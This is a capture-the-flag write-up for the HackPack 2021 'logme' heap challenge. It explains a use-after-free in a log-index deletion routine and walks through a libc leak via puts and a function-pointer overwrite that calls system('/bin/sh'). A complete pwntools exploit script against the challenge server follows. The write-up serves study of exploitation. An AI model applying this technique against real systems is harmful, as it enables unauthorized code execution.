# logmeA easy heap pwn challenge from HackPack 2021.
## ChallengeThe challenge is a binary that implements a simple logging system. The binary does not have PIE.
The initial menu provides 3 options: logging in as admin, adding a log entry to a log index -- there are none valid on start -- and exit. We can get the admin credentials through simple reversing or everyone's friend `strings`: `administrator:S3CreTB4CkD0or`.
A log entry just consists of a message with a chosen size. The message is allocated on the heap with given size, written to disk, and freed.
Once logged in, you can create or delete logging indexes (basically categories) and dump the contents of a log. The log indexes are implemented as files on disk, but this is not relevant to solving the challenge so I won't go into further detail.
The number of valid indexes is stored in a local variable in `main` and the addressed of each index is stored in a global variable `INDEXES`. Indexes are allocated on the heap; and contain a size of 56. The name of each index is also seperately allocated on the heap with a larger size.
```cppstruct index {    void* padding[4];    char* name;    void (*printer)(char* name, int index);}```
The log dump function is implemented by calling the printer virtual pointer on each index.
## The bug
The vulnerability is that deleteIndex does not actually update the number of valid indexes despite freeing the index. This means that if we allocate a structure with the same size as a log index, it will overlap.
The function that lets a user add a log entry has a controllable allocation size; even though the message is freed after being written we can still use it to overwrite the old index's data.
## Exploitation
This bug can be exploited to call any function with with a controllable first argument. To create a UAF condition, we create two indexes and delete the 2nd. When inserting a message in the first, the tcache will reuse the old index's chunk if the size matches;
We will first leak the address of libc by creating a fake index with a first argument pointing to `puts` on the GOT and a virtual pointer to `puts` in the PLT. This will call `puts(addrof(puts))`.
The use after free will be triggered just by calling dumpIndexes. We can then leverage this libc leak to call `system(/bin/sh)` using the same method as before.
Addendum: I could not get `one_gadget` to work because the stack is not 16-byte aligned.
flag: `flag{B4k3d_1N_PwD_1S_N3v3R_4_Go0D_1D3A}`
## Code```pythonfrom pwn import *import randomimport stringimport sys
r = remote("ctf2021.hackpack.club", 11002)elf = ELF("./logme")
def admin_login():    r.sendlineafter("> ", "1")    r.sendlineafter(": ", "administrator")    r.sendlineafter(": ", "S3CreTB4CkD0or")
def create_fake_index(fn, arg):    r.sendlineafter("> ", "2")    r.sendlineafter(": ", "0")    r.sendlineafter(": ", "56")    r.sendlineafter(": ", b"deadbeefbeefcafedeadbeefbeefcafedeadbeef" + p64(arg) + p64(fn))
admin_login()
# Create 2 indexes, free 2ndr.sendlineafter("> ", "1")r.sendlineafter(": ", ''.join(random.choices(string.ascii_uppercase + string.digits, k=4)))r.sendlineafter("> ", "1")r.sendlineafter(": ", ''.join(random.choices(string.ascii_uppercase + string.digits, k=4)))r.sendlineafter("> ", "2")r.sendlineafter(": ", "1")
# Log outr.sendlineafter("> ", "4")
# Create messagecreate_fake_index(elf.plt['puts'], elf.got['puts'])
# Trigger uafadmin_login()
r.sendlineafter("> ", "3")r.sendlineafter(": ", "1")leak = u64(r.recvuntil("> ").split(b"\n")[0].ljust(8, b"\x00"))leak -= 0x080aa0log.info("libc @ 0x%x" % leak)
r.sendline("4")create_fake_index(leak + 0x04f550, leak + 0x1b3e1a)
# Trigger uafadmin_login()
r.sendlineafter("> ", "3")r.sendlineafter(": ", "1")r.interactive()```